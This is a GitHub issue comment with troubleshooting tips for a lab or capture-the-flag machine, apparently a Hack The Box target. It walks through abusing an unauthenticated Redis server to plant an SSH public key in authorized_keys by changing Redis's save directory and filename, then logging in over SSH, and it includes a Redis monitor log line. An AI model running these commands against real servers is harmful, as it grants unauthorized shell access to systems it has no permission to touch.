Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

For those who are having problems: #5

Open
meir555 opened this issue Feb 4, 2020 · 0 comments
Open

For those who are having problems: #5

meir555 opened this issue Feb 4, 2020 · 0 comments

Comments

@meir555
Copy link

meir555 commented Feb 4, 2020

For those who are having problems:

  1. use monitor:
    redis-cli -h 10.10.10.160 monitor

  2. use printf '\n\n\n\n' and not echo

ssh-keygen -t rsa -C blabla
Enter file in which to save the key (/root/.ssh/id_rsa): ./id_rsa

redis-cli -h <ip> config rewrite
(printf '\n\n'; cat ./id_rsa.pub; printf '\n\n') | redis-cli -h <ip> -x set blabla1
redis-cli -h <ip> config set dir /var/lib/redis/.ssh/
redis-cli -h <ip> config set dbfilename authorized_keys
redis-cli -h <ip> save

ssh -i ./id_rsa <user>@<ip>
  1. verify in monitor, note the \n\n:

1580806600.323468 [0 10.10.10.10:55682] "set" "blabla" "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCs2umc3Sjt13ip7cfTeo/8Ofbw6SB/T17U8EdWFzHkLbUgSjWEUCe8bTD1Rjqph/4mwf+vRoPpTd7rEBm8FZiEseUSts3Z5u/eRfuMupnrJMJQi6V+bX7fToiu3byu7ENkuQfq0CVebBe4oqSFLYgI6v+64ErcsVOlrYO8b5Q2ZeuFM+Sg5TB5ERKHtd7MY0KrXMOspIvfz2pZvaEbnJv9SvmZGqDUGGVhaiH7BYUGVuPcWcFKozg5KR31OLY+/5H7oMYfiGkCIMPJ7io0jACRfspkdT7Nk+It6eGduZmLtY+d0nRY+61Up/Pcixdr/WOmkp32vGylapwsxcOjoJQ/0PjH0pfP6swnakZNKz6k0gVrsVKN1SgMruM7eL1BieCFAbvoqgo7LpE3isj1nPN4XyuwPbzLu30gtQqGbCMJDlyoANSI351QWEj0E9TyCed68NyX/WNgVXi6nDErRM84pvTAwJs7KdFFSsqcp3vPR4LsrgRgl6Z9qGvVYFGPpfM= blabla\n\n\n"

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant